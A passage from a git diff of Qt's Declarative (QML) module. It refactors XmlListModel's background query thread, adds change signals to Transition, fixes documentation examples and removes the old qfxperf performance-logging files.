QDeclarativeRotationAnimationPrivate() : direction(QDeclarativeRotationAnimation::Shortest) {} + QDeclarativeRotationAnimationPrivate() : direction(QDeclarativeRotationAnimation::Numerical) {} QDeclarativeRotationAnimation::RotationDirection direction; }; diff --git a/src/declarative/util/qdeclarativebehavior.cpp b/src/declarative/util/qdeclarativebehavior.cpp index d90ca33..1e000df 100644 --- a/src/declarative/util/qdeclarativebehavior.cpp +++ b/src/declarative/util/qdeclarativebehavior.cpp @@ -83,7 +83,8 @@ public: y: 200 // initial value Behavior on y { NumberAnimation { - easing: "easeOutBounce(amplitude:100)" + easing.type: "OutBounce" + easing.amplitude: 100 duration: 200 } } diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp index 340e9ac..3e25234 100644 --- a/src/declarative/util/qdeclarativelistmodel.cpp +++ b/src/declarative/util/qdeclarativelistmodel.cpp @@ -401,7 +401,7 @@ void QDeclarativeListModel::remove(int index) values in \a dict. \code - FruitModel.insert(2, {"cost": 5.95, "name":"Pizza"}) + fruitModel.insert(2, {"cost": 5.95, "name":"Pizza"}) \endcode The \a index must be to an existing item in the list, or one past @@ -437,7 +437,7 @@ void QDeclarativeListModel::insert(int index, const QScriptValue& valuemap) to the end of the list: \code - FruitModel.move(0,FruitModel.count-3,3) + fruitModel.move(0,fruitModel.count-3,3) \endcode \sa append() @@ -479,7 +479,7 @@ void QDeclarativeListModel::move(int from, int to, int n) values in \a dict. \code - FruitModel.append({"cost": 5.95, "name":"Pizza"}) + fruitModel.append({"cost": 5.95, "name":"Pizza"}) \endcode \sa set() remove() @@ -500,8 +500,8 @@ void QDeclarativeListModel::append(const QScriptValue& valuemap) Returns the item at \a index in the list model. \code - FruitModel.append({"cost": 5.95, "name":"Jackfruit"}) - FruitModel.get(0).cost + fruitModel.append({"cost": 5.95, "name":"Jackfruit"}) + fruitModel.get(0).cost \endcode The \a index must be an element in the list. @@ -510,10 +510,10 @@ void QDeclarativeListModel::append(const QScriptValue& valuemap) will also be models, and this get() method is used to access elements: \code - FruitModel.append(..., "attributes": + fruitModel.append(..., "attributes": [{"name":"spikes","value":"7mm"}, {"name":"color","value":"green"}]); - FruitModel.get(0).attributes.get(1).value; // == "green" + fruitModel.get(0).attributes.get(1).value; // == "green" \endcode \sa append() @@ -536,7 +536,7 @@ QScriptValue QDeclarativeListModel::get(int index) const are left unchanged. \code - FruitModel.set(3, {"cost": 5.95, "name":"Pizza"}) + fruitModel.set(3, {"cost": 5.95, "name":"Pizza"}) \endcode The \a index must be an element in the list. @@ -574,7 +574,7 @@ void QDeclarativeListModel::set(int index, const QScriptValue& valuemap) Changes the \a property of the item at \a index in the list model to \a value. \code - FruitModel.set(3, "cost", 5.95) + fruitModel.set(3, "cost", 5.95) \endcode The \a index must be an element in the list. diff --git a/src/declarative/util/qdeclarativepixmapcache.cpp b/src/declarative/util/qdeclarativepixmapcache.cpp index 942d5f6..e78fdf1 100644 --- a/src/declarative/util/qdeclarativepixmapcache.cpp +++ b/src/declarative/util/qdeclarativepixmapcache.cpp @@ -43,8 +43,6 @@ #include "qdeclarativenetworkaccessmanagerfactory.h" #include "qdeclarativeimageprovider.h" -#include "qfxperf_p_p.h" - #include <qdeclarativeengine.h> #include <private/qdeclarativeglobal_p.h> #include <private/qdeclarativeengine_p.h> diff --git a/src/declarative/util/qdeclarativepropertychanges.cpp b/src/declarative/util/qdeclarativepropertychanges.cpp index 8865e04..6ceec5d 100644 --- a/src/declarative/util/qdeclarativepropertychanges.cpp +++ b/src/declarative/util/qdeclarativepropertychanges.cpp @@ -227,6 +227,8 @@ QDeclarativePropertyChangesParser::compileList(QList<QPair<QByteArray, QVariant> const QVariant &value = values.at(ii); if (value.userType() == qMetaTypeId<QDeclarativeCustomParserNode>()) { + error(qvariant_cast<QDeclarativeCustomParserNode>(value), + QDeclarativePropertyChanges::tr("PropertyChanges does not support creating state-specific objects.")); continue; } else if(value.userType() == qMetaTypeId<QDeclarativeCustomParserProperty>()) { diff --git a/src/declarative/util/qdeclarativestate_p_p.h b/src/declarative/util/qdeclarativestate_p_p.h index 6f52219..558c99b 100644 --- a/src/declarative/util/qdeclarativestate_p_p.h +++ b/src/declarative/util/qdeclarativestate_p_p.h @@ -58,8 +58,8 @@ #include "qdeclarativeanimation_p_p.h" #include "qdeclarativetransitionmanager_p_p.h" -#include <qdeclarativeproperty_p.h> -#include <qdeclarativeguard_p.h> +#include <private/qdeclarativeproperty_p.h> +#include <private/qdeclarativeguard_p.h> #include <private/qobject_p.h> diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index 6f5bb66..0bc81ee 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -168,7 +168,7 @@ void QDeclarativeParentChangePrivate::doChange(QDeclarativeItem *targetParent, Q for the original and new parent). You can specify at which point in a transition you want a ParentChange to occur by - using a ParentAnimation or ParentAction. + using a ParentAnimation. */ @@ -456,11 +456,10 @@ void QDeclarativeParentChange::saveCurrentValues() } d->rewindParent = d->target->parentItem(); + d->rewindStackBefore = 0; - if (!d->rewindParent) { - d->rewindStackBefore = 0; + if (!d->rewindParent) return; - } //try to determine the item's original stack position so we can restore it int siblingIndex = ((AccessibleFxItem*)d->target)->siblingIndex() + 1; @@ -495,9 +494,31 @@ public: \qmlclass StateChangeScript QDeclarativeStateChangeScript \brief The StateChangeScript element allows you to run a script in a state. - The script specified will be run immediately when the state is made current. - Alternatively you can use a ScriptAction to specify at which point in the transition + StateChangeScripts are run when entering the state. You can use + ScriptAction to specify at which point in the transition you want the StateChangeScript to be run. + + \qml + State { + name "state1" + StateChangeScript { + name: "myScript" + script: doStateStuff(); + } + ... + } + ... + Transition { + to: "state1" + SequentialAnimation { + NumberAnimation { ... } + ScriptAction { scriptName: "myScript" } + NumberAnimation { ... } + } + } + \endqml + + \sa ScriptAction */ QDeclarativeStateChangeScript::QDeclarativeStateChangeScript(QObject *parent) @@ -944,7 +965,7 @@ void QDeclarativeAnchorChanges::saveOriginals() d->origBaseline = d->target->anchors()->baseline(); d->applyOrigLeft = d->applyOrigRight = d->applyOrigHCenter = d->applyOrigTop - = d->applyOrigBottom = d->applyOrigHCenter = d->applyOrigBaseline = false; + = d->applyOrigBottom = d->applyOrigVCenter = d->applyOrigBaseline = false; saveCurrentValues(); } diff --git a/src/declarative/util/qdeclarativetransition.cpp b/src/declarative/util/qdeclarativetransition.cpp index ac07b10..4326a55 100644 --- a/src/declarative/util/qdeclarativetransition.cpp +++ b/src/declarative/util/qdeclarativetransition.cpp @@ -67,7 +67,7 @@ QT_BEGIN_NAMESPACE \ingroup group_states */ -//ParallelAnimationWrapperallows us to do a "callback" when the animation finishes, rather than connecting +//ParallelAnimationWrapper allows us to do a "callback" when the animation finishes, rather than connecting //and disconnecting signals and slots frequently class ParallelAnimationWrapper : public QParallelAnimationGroup { @@ -195,7 +195,11 @@ QString QDeclarativeTransition::fromState() const void QDeclarativeTransition::setFromState(const QString &f) { Q_D(QDeclarativeTransition); + if (f == d->fromState) + return; + d->fromState = f; + emit fromChanged(); } /*! @@ -213,7 +217,11 @@ bool QDeclarativeTransition::reversible() const void QDeclarativeTransition::setReversible(bool r) { Q_D(QDeclarativeTransition); + if (r == d->reversible) + return; + d->reversible = r; + emit reversibleChanged(); } QString QDeclarativeTransition::toState() const @@ -225,7 +233,11 @@ QString QDeclarativeTransition::toState() const void QDeclarativeTransition::setToState(const QString &t) { Q_D(QDeclarativeTransition); + if (t == d->toState) + return; + d->toState = t; + emit toChanged(); } /*! diff --git a/src/declarative/util/qdeclarativetransition_p.h b/src/declarative/util/qdeclarativetransition_p.h index 861111a..2f9e7b5 100644 --- a/src/declarative/util/qdeclarativetransition_p.h +++ b/src/declarative/util/qdeclarativetransition_p.h @@ -62,9 +62,9 @@ class Q_DECLARATIVE_EXPORT QDeclarativeTransition : public QObject Q_OBJECT Q_DECLARE_PRIVATE(QDeclarativeTransition) - Q_PROPERTY(QString from READ fromState WRITE setFromState) - Q_PROPERTY(QString to READ toState WRITE setToState) - Q_PROPERTY(bool reversible READ reversible WRITE setReversible) + Q_PROPERTY(QString from READ fromState WRITE setFromState NOTIFY fromChanged) + Q_PROPERTY(QString to READ toState WRITE setToState NOTIFY toChanged) + Q_PROPERTY(bool reversible READ reversible WRITE setReversible NOTIFY reversibleChanged) Q_PROPERTY(QDeclarativeListProperty<QDeclarativeAbstractAnimation> animations READ animations) Q_CLASSINFO("DefaultProperty", "animations") Q_CLASSINFO("DeferredPropertyNames", "animations") @@ -90,6 +90,11 @@ public: void setReversed(bool r); void stop(); + +Q_SIGNALS: + void fromChanged(); + void toChanged(); + void reversibleChanged(); }; QT_END_NAMESPACE diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp index 4d4678a..46c9b73 100644 --- a/src/declarative/util/qdeclarativeutilmodule.cpp +++ b/src/declarative/util/qdeclarativeutilmodule.cpp @@ -40,7 +40,6 @@ ****************************************************************************/ #include "qdeclarativeutilmodule_p.h" -#include "qfxperf_p_p.h" #include "qdeclarativeanimation_p.h" #include "qdeclarativeanimation_p_p.h" #include "qdeclarativebehavior_p.h" @@ -71,7 +70,6 @@ #ifndef QT_NO_XMLPATTERNS #include "qdeclarativexmllistmodel_p.h" #endif -#include "qperformancelog_p_p.h" void QDeclarativeUtilModule::defineModule() { @@ -87,7 +85,6 @@ void QDeclarativeUtilModule::defineModule() qmlRegisterType<QDeclarativeNumberAnimation>("Qt",4,6,"NumberAnimation"); qmlRegisterType<QDeclarativePackage>("Qt",4,6,"Package"); qmlRegisterType<QDeclarativeParallelAnimation>("Qt",4,6,"ParallelAnimation"); - qmlRegisterType<QDeclarativeParentAction>("Qt",4,6,"ParentAction"); qmlRegisterType<QDeclarativeParentAnimation>("Qt",4,6,"ParentAnimation"); qmlRegisterType<QDeclarativeParentChange>("Qt",4,6,"ParentChange"); qmlRegisterType<QDeclarativePauseAnimation>("Qt",4,6,"PauseAnimation"); diff --git a/src/declarative/util/qdeclarativeview.cpp b/src/declarative/util/qdeclarativeview.cpp index 59a062a..d97fb5f 100644 --- a/src/declarative/util/qdeclarativeview.cpp +++ b/src/declarative/util/qdeclarativeview.cpp @@ -41,9 +41,6 @@ #include "qdeclarativeview.h" -#include "qperformancelog_p_p.h" -#include "qfxperf_p_p.h" - #include <qdeclarative.h> #include <qdeclarativeitem.h> #include <qdeclarativeengine.h> @@ -132,6 +129,7 @@ class QDeclarativeViewPrivate public: QDeclarativeViewPrivate(QDeclarativeView *view) : q(view), root(0), component(0), resizeMode(QDeclarativeView::SizeViewToRootObject) {} + ~QDeclarativeViewPrivate() { delete root; } void execute(); @@ -251,13 +249,6 @@ QDeclarativeView::QDeclarativeView(const QUrl &source, QWidget *parent) void QDeclarativeViewPrivate::init() { -#ifdef Q_ENABLE_PERFORMANCE_LOG - { - QDeclarativePerfTimer<QDeclarativePerf::FontDatabase> perf; - QFontDatabase database; - } -#endif - q->setScene(&scene); q->setOptimizationFlags(QGraphicsView::DontSavePainterState); @@ -280,7 +271,7 @@ void QDeclarativeViewPrivate::init() */ QDeclarativeView::~QDeclarativeView() { - delete d->root; + delete d; } /*! \property QDeclarativeView::source @@ -455,8 +446,6 @@ void QDeclarativeView::setRootObject(QObject *obj) if (QDeclarativeItem *item = qobject_cast<QDeclarativeItem *>(obj)) { d->scene.addItem(item); - QPerformanceLog::displayData(); - QPerformanceLog::clear(); d->root = item; d->qmlRoot = item; connect(item, SIGNAL(widthChanged(qreal)), this, SLOT(sizeChanged())); diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp index 01ae2ed..03ddddf 100644 --- a/src/declarative/util/qdeclarativexmllistmodel.cpp +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp @@ -46,6 +46,7 @@ #include <QDebug> #include <QStringList> +#include <QQueue> #include <QApplication> #include <QThread> #include <QMutex> @@ -61,8 +62,7 @@ QT_BEGIN_NAMESPACE - - +Q_DECLARE_METATYPE(QDeclarativeXmlQueryResult) typedef QPair<int, int> QDeclarativeXmlListRange; @@ -109,13 +109,25 @@ typedef QPair<int, int> QDeclarativeXmlListRange; \sa XmlListModel */ +struct XmlQueryJob +{ + int queryId; + QByteArray data; + QString query; + QString namespaces; + QStringList roleQueries; + QStringList keyRoleQueries; + QStringList keyRoleResultsCache; +}; + class QDeclarativeXmlQuery : public QThread { Q_OBJECT public: QDeclarativeXmlQuery(QObject *parent=0) - : QThread(parent), m_quit(false), m_restart(false), m_abort(false), m_queryId(0) { + : QThread(parent), m_quit(false), m_abortQueryId(-1), m_queryIds(0) { + qRegisterMetaType<QDeclarativeXmlQueryResult>("QDeclarativeXmlQueryResult"); } ~QDeclarativeXmlQuery() { m_mutex.lock(); @@ -126,27 +138,38 @@ public: wait(); } - void abort() { + void abort(int id) { QMutexLocker locker(&m_mutex); - m_abort = true; + m_abortQueryId = id; } - int doQuery(QString query, QString namespaces, QByteArray data, QList<QDeclarativeXmlListModelRole *> *roleObjects) { + int doQuery(QString query, QString namespaces, QByteArray data, QList<QDeclarativeXmlListModelRole *> *roleObjects, QStringList keyRoleResultsCache) { QMutexLocker locker(&m_mutex); - m_size = 0; - m_data = data; - m_query = QLatin1String("doc($src)") + query; - m_namespaces = namespaces; - m_roleObjects = roleObjects; - if (!isRunning()) { - m_abort = false; + + XmlQueryJob job; + job.queryId = m_queryIds; + job.data = data; + job.query = QLatin1String("doc($src)") + query; + job.namespaces = namespaces; + job.keyRoleResultsCache = keyRoleResultsCache; + + for (int i=0; i<roleObjects->count(); i++) { + if (!roleObjects->at(i)->isValid()) { + job.roleQueries << ""; + continue; + } + job.roleQueries << roleObjects->at(i)->query(); + if (roleObjects->at(i)->isKey()) + job.keyRoleQueries << job.roleQueries.last(); + } + m_jobs.enqueue(job); + m_queryIds++; + + if (!isRunning()) start(); - } else { - m_restart = true; + else m_condition.wakeOne(); - } - m_queryId++; - return m_queryId; + return job.queryId; } QList<QList<QVariant> > modelData() { @@ -164,26 +187,33 @@ public: return m_removedItemRanges; } + Q_SIGNALS: - void queryCompleted(int queryId, int size); + void queryCompleted(const QDeclarativeXmlQueryResult &); protected: void run() { while (!m_quit) { m_mutex.lock(); - int queryId = m_queryId; doQueryJob(); doSubQueryJob(); - m_data.clear(); // no longer needed m_mutex.unlock(); m_mutex.lock(); - if (!m_abort) - emit queryCompleted(queryId, m_size); - if (!m_restart) + const XmlQueryJob &job = m_jobs.dequeue(); + if (m_abortQueryId != job.queryId) { + QDeclarativeXmlQueryResult r; + r.queryId = job.queryId; + r.size = m_size; + r.data = m_modelData; + r.inserted = m_insertedItemRanges; + r.removed = m_removedItemRanges; + r.keyRoleResultsCache = job.keyRoleResultsCache; + emit queryCompleted(r); + } + if (m_jobs.isEmpty()) m_condition.wait(&m_mutex); - m_abort = false; - m_restart = false; + m_abortQueryId = -1; m_mutex.unlock(); } } @@ -197,30 +227,30 @@ private: private: QMutex m_mutex; QWaitCondition m_condition; + QQueue<XmlQueryJob> m_jobs; bool m_quit; - bool m_restart; - bool m_abort; - QByteArray m_data; - QString m_query; - QString m_namespaces; + int m_abortQueryId; QString m_prefix; int m_size; - int m_queryId; - const QList<QDeclarativeXmlListModelRole *> *m_roleObjects; + int m_queryIds; QList<QList<QVariant> > m_modelData; - QStringList m_keysValues; QList<QDeclarativeXmlListRange> m_insertedItemRanges; QList<QDeclarativeXmlListRange> m_removedItemRanges; }; +Q_GLOBAL_STATIC(QDeclarativeXmlQuery, globalXmlQuery) + void QDeclarativeXmlQuery::doQueryJob() { + Q_ASSERT(!m_jobs.isEmpty()); + XmlQueryJob &job = m_jobs.head(); + QString r; QXmlQuery query; - QBuffer buffer(&m_data); + QBuffer buffer(&job.data); buffer.open(QIODevice::ReadOnly); query.bindVariable(QLatin1String("src"), &buffer); - query.setQuery(m_namespaces + m_query); + query.setQuery(job.namespaces + job.query); query.evaluateTo(&r); //qDebug() << r; @@ -231,9 +261,9 @@ void QDeclarativeXmlQuery::doQueryJob() b.open(QIODevice::ReadOnly); //qDebug() << xml; - QString namespaces = QLatin1String("declare namespace dummy=\"http://qtsotware.com/dummy\";\n") + m_namespaces; + QString namespaces = QLatin1String("declare namespace dummy=\"http://qtsotware.com/dummy\";\n") + job.namespaces; QString prefix = QLatin1String("doc($inputDocument)/dummy:items") + - m_query.mid(m_query.lastIndexOf(QLatin1Char('/'))); + job.query.mid(job.query.lastIndexOf(QLatin1Char('/'))); //figure out how many items we are dealing with int count = -1; @@ -249,19 +279,18 @@ void QDeclarativeXmlQuery::doQueryJob() } //qDebug() << count; + job.data = xml; m_prefix = namespaces + prefix + QLatin1Char('/'); - m_data = xml; + m_size = 0; if (count > 0) m_size = count; } void QDeclarativeXmlQuery::getValuesOfKeyRoles(QStringList *values, QXmlQuery *query) const { - QStringList keysQueries; - for (int i=0; i<m_roleObjects->count(); i++) { - if (m_roleObjects->at(i)->isKey()) - keysQueries << m_roleObjects->at(i)->query(); - } + Q_ASSERT(!m_jobs.isEmpty()); + + const QStringList &keysQueries = m_jobs.head().keyRoleQueries; QString keysQuery; if (keysQueries.count() == 1) keysQuery = m_prefix + keysQueries[0]; @@ -291,54 +320,58 @@ void QDeclarativeXmlQuery::addIndexToRangeList(QList<QDeclarativeXmlListRange> * void QDeclarativeXmlQuery::doSubQueryJob() { + Q_ASSERT(!m_jobs.isEmpty()); + XmlQueryJob &job = m_jobs.head(); m_modelData.clear(); - QBuffer b(&m_data); + QBuffer b(&job.data); b.open(QIODevice::ReadOnly); QXmlQuery subquery; subquery.bindVariable(QLatin1String("inputDocument"), &b); - QStringList keysValues; - getValuesOfKeyRoles(&keysValues, &subquery); + QStringList keyRoleResults; + getValuesOfKeyRoles(&keyRoleResults, &subquery); // See if any values of key roles have been inserted or removed. + m_insertedItemRanges.clear(); m_removedItemRanges.clear(); - if (m_keysValues.isEmpty()) { + if (job.keyRoleResultsCache.isEmpty()) { m_insertedItemRanges << qMakePair(0, m_size); } else { - if (keysValues != m_keysValues) { + if (keyRoleResults != job.keyRoleResultsCache) { QStringList temp; - for (int i=0; i<m_keysValues.count(); i++) { - if (!keysValues.contains(m_keysValues[i])) + for (int i=0; i<job.keyRoleResultsCache.count(); i++) { + if (!keyRoleResults.contains(job.keyRoleResultsCache[i])) addIndexToRangeList(&m_removedItemRanges, i); else - temp << m_keysValues[i]; + temp << job.keyRoleResultsCache[i]; } - for (int i=0; i<keysValues.count(); i++) { - if (temp.count() == i || keysValues[i] != temp[i]) { - temp.insert(i, keysValues[i]); + for (int i=0; i<keyRoleResults.count(); i++) { + if (temp.count() == i || keyRoleResults[i] != temp[i]) { + temp.insert(i, keyRoleResults[i]); addIndexToRangeList(&m_insertedItemRanges, i); } } } } - m_keysValues = keysValues; + job.keyRoleResultsCache = keyRoleResults; + // Get the new values for each role. //### we might be able to condense even further (query for everything in one go) - for (int i = 0; i < m_roleObjects->size(); ++i) { - QDeclarativeXmlListModelRole *role = m_roleObjects->at(i); - if (!role->isValid()) { + const QStringList &queries = job.roleQueries; + for (int i = 0; i < queries.size(); ++i) { + if (queries[i].isEmpty()) { QList<QVariant> resultList; for (int j = 0; j < m_size; ++j) resultList << QVariant(); m_modelData << resultList; continue; } - subquery.setQuery(m_prefix + QLatin1String("(let $v := ") + role->query() + QLatin1String(" return if ($v) then ") + role->query() + QLatin1String(" else \"\")")); + subquery.setQuery(m_prefix + QLatin1String("(let $v := ") + queries[i] + QLatin1String(" return if ($v) then ") + queries[i] + QLatin1String(" else \"\")")); QXmlResultItems resultItems; subquery.evaluateTo(&resultItems); QXmlItem item(resultItems.next()); @@ -404,8 +437,8 @@ public: QNetworkReply *reply; QDeclarativeXmlListModel::Status status; qreal progress; - QDeclarativeXmlQuery qmlXmlQuery; int queryId; + QStringList keyRoleResultsCache; QList<QDeclarativeXmlListModelRole *> roleObjects; static void append_role(QDeclarativeListProperty<QDeclarativeXmlListModelRole> *list, QDeclarativeXmlListModelRole *role); static void clear_role(QDeclarativeListProperty<QDeclarativeXmlListModelRole> *list); @@ -489,9 +522,8 @@ void QDeclarativeXmlListModelPrivate::clear_role(QDeclarativeListProperty<QDecla QDeclarativeXmlListModel::QDeclarativeXmlListModel(QObject *parent) : QListModelInterface(*(new QDeclarativeXmlListModelPrivate), parent) { - Q_D(QDeclarativeXmlListModel); - connect(&d->qmlXmlQuery, SIGNAL(queryCompleted(int,int)), - this, SLOT(queryCompleted(int,int))); + connect(globalXmlQuery(), SIGNAL(queryCompleted(QDeclarativeXmlQueryResult)), + this, SLOT(queryCompleted(QDeclarativeXmlQueryResult))); } QDeclarativeXmlListModel::~QDeclarativeXmlListModel() @@ -723,7 +755,7 @@ void QDeclarativeXmlListModel::reload() if (!d->isComponentComplete) return; - d->qmlXmlQuery.abort(); + globalXmlQuery()->abort(d->queryId); d->queryId = -1; int count = d->size; @@ -755,7 +787,7 @@ void QDeclarativeXmlListModel::reload() } if (!d->xml.isEmpty()) { - d->queryId = d->qmlXmlQuery.doQuery(d->query, d->namespaces, d->xml.toUtf8(), &d->roleObjects); + d->queryId = globalXmlQuery()->doQuery(d->query, d->namespaces, d->xml.toUtf8(), &d->roleObjects, d->keyRoleResultsCache); d->progress = 1.0; d->status = Ready; emit progressChanged(d->progress); @@ -802,7 +834,7 @@ void QDeclarativeXmlListModel::requestFinished() } else { d->status = Ready; QByteArray data = d->reply->readAll(); - d->queryId = d->qmlXmlQuery.doQuery(d->query, d->namespaces, data, &d->roleObjects); + d->queryId = globalXmlQuery()->doQuery(d->query, d->namespaces, data, &d->roleObjects, d->keyRoleResultsCache); disconnect(d->reply, 0, this, 0); d->reply->deleteLater(); d->reply = 0; @@ -821,22 +853,20 @@ void QDeclarativeXmlListModel::requestProgress(qint64 received, qint64 total) } } -void QDeclarativeXmlListModel::queryCompleted(int id, int size) +void QDeclarativeXmlListModel::queryCompleted(const QDeclarativeXmlQueryResult &result) { Q_D(QDeclarativeXmlListModel); - if (id != d->queryId) + if (result.queryId != d->queryId) return; - bool sizeChanged = size != d->size; - d->size = size; - d->data = d->qmlXmlQuery.modelData(); - - QList<QDeclarativeXmlListRange> removed = d->qmlXmlQuery.removedItemRanges(); - QList<QDeclarativeXmlListRange> inserted = d->qmlXmlQuery.insertedItemRanges(); - - for (int i=0; i<removed.count(); i++) - emit itemsRemoved(removed[i].first, removed[i].second); - for (int i=0; i<inserted.count(); i++) - emit itemsInserted(inserted[i].first, inserted[i].second); + bool sizeChanged = result.size != d->size; + d->size = result.size; + d->data = result.data; + d->keyRoleResultsCache = result.keyRoleResultsCache; + + for (int i=0; i<result.removed.count(); i++) + emit itemsRemoved(result.removed[i].first, result.removed[i].second); + for (int i=0; i<result.inserted.count(); i++) + emit itemsInserted(result.inserted[i].first, result.inserted[i].second); if (sizeChanged) emit countChanged(); diff --git a/src/declarative/util/qdeclarativexmllistmodel_p.h b/src/declarative/util/qdeclarativexmllistmodel_p.h index 23ff7ce..7bb0f0e 100644 --- a/src/declarative/util/qdeclarativexmllistmodel_p.h +++ b/src/declarative/util/qdeclarativexmllistmodel_p.h @@ -46,6 +46,7 @@ #include <qdeclarativeinfo.h> #include <QtCore/qurl.h> +#include <QtCore/qstringlist.h> #include <private/qlistmodelinterface_p.h> @@ -56,10 +57,18 @@ QT_BEGIN_NAMESPACE QT_MODULE(Declarative) class QDeclarativeContext; - class QDeclarativeXmlListModelRole; - class QDeclarativeXmlListModelPrivate; + +struct QDeclarativeXmlQueryResult { + int queryId; + int size; + QList<QList<QVariant> > data; + QList<QPair<int, int> > inserted; + QList<QPair<int, int> > removed; + QStringList keyRoleResultsCache; +}; + class Q_DECLARATIVE_EXPORT QDeclarativeXmlListModel : public QListModelInterface, public QDeclarativeParserStatus { Q_OBJECT @@ -126,7 +135,7 @@ public Q_SLOTS: private Q_SLOTS: void requestFinished(); void requestProgress(qint64,qint64); - void queryCompleted(int,int); + void queryCompleted(const QDeclarativeXmlQueryResult &); private: Q_DECLARE_PRIVATE(QDeclarativeXmlListModel) diff --git a/src/declarative/util/qfxperf.cpp b/src/declarative/util/qfxperf.cpp deleted file mode 100644 index 5611c49..0000000 --- a/src/declarative/util/qfxperf.cpp +++ /dev/null @@ -1,67 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qfxperf_p_p.h" - -QT_BEGIN_NAMESPACE - -Q_DEFINE_PERFORMANCE_LOG(QDeclarativePerf, "QDeclarativeGraphics") { - Q_DEFINE_PERFORMANCE_METRIC(QDeclarativeParsing, "Compilation: QML Parsing") - Q_DEFINE_PERFORMANCE_METRIC(Compilation, " QML Compilation") - Q_DEFINE_PERFORMANCE_METRIC(VMEExecution, "Execution: QML VME Execution") - Q_DEFINE_PERFORMANCE_METRIC(BindInit, "BindValue Initialization") - Q_DEFINE_PERFORMANCE_METRIC(BindValue, "BindValue execution") - Q_DEFINE_PERFORMANCE_METRIC(BindValueSSE, "BindValue execution SSE") - Q_DEFINE_PERFORMANCE_METRIC(BindValueQt, "BindValue execution QtScript") - Q_DEFINE_PERFORMANCE_METRIC(BindableValueUpdate, "QDeclarativeBinding::update") - Q_DEFINE_PERFORMANCE_METRIC(PixmapLoad, "Pixmap loading") - Q_DEFINE_PERFORMANCE_METRIC(FontDatabase, "Font database creation") - Q_DEFINE_PERFORMANCE_METRIC(QDeclarativePathViewPathCache, "FX Items: QDeclarativePathView: Path cache") - Q_DEFINE_PERFORMANCE_METRIC(CreateParticle, " QDeclarativeParticles: Particle creation") - Q_DEFINE_PERFORMANCE_METRIC(ItemComponentComplete, " QDeclarativeItem::componentComplete") - Q_DEFINE_PERFORMANCE_METRIC(ImageComponentComplete, " QDeclarativeImage::componentComplete") - Q_DEFINE_PERFORMANCE_METRIC(BaseLayoutComponentComplete, " QDeclarativeBasePositioner::componentComplete") - Q_DEFINE_PERFORMANCE_METRIC(TextComponentComplete, " QDeclarativeText::componentComplete") - Q_DEFINE_PERFORMANCE_METRIC(QDeclarativeText_setText, " QDeclarativeText::setText") - Q_DEFINE_PERFORMANCE_METRIC(AddScript, "QDeclarativeScript::addScriptToEngine") -} - -QT_END_NAMESPACE diff --git a/src/declarative/util/qfxperf_p_p.h b/src/declarative/util/qfxperf_p_p.h deleted file mode 100644 index 8b65821..0000000 --- a/src/declarative/util/qfxperf_p_p.h +++ /dev/null @@ -1,90 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef QFXPERF_H -#define QFXPERF_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "qperformancelog_p_p.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -QT_MODULE(Declarative) - -Q_DECLARE_PERFORMANCE_LOG(QDeclarativePerf) { - Q_DECLARE_PERFORMANCE_METRIC(QDeclarativeParsing) - - Q_DECLARE_PERFORMANCE_METRIC(Compilation) - Q_DECLARE_PERFORMANCE_METRIC(VMEExecution) - - Q_DECLARE_PERFORMANCE_METRIC(BindInit) - Q_DECLARE_PERFORMANCE_METRIC(BindValue) - Q_DECLARE_PERFORMANCE_METRIC(BindValueSSE) - Q_DECLARE_PERFORMANCE_METRIC(BindValueQt) - Q_DECLARE_PERFORMANCE_METRIC(BindableValueUpdate) - Q_DECLARE_PERFORMANCE_METRIC(PixmapLoad) - Q_DECLARE_PERFORMANCE_METRIC(FontDatabase) - 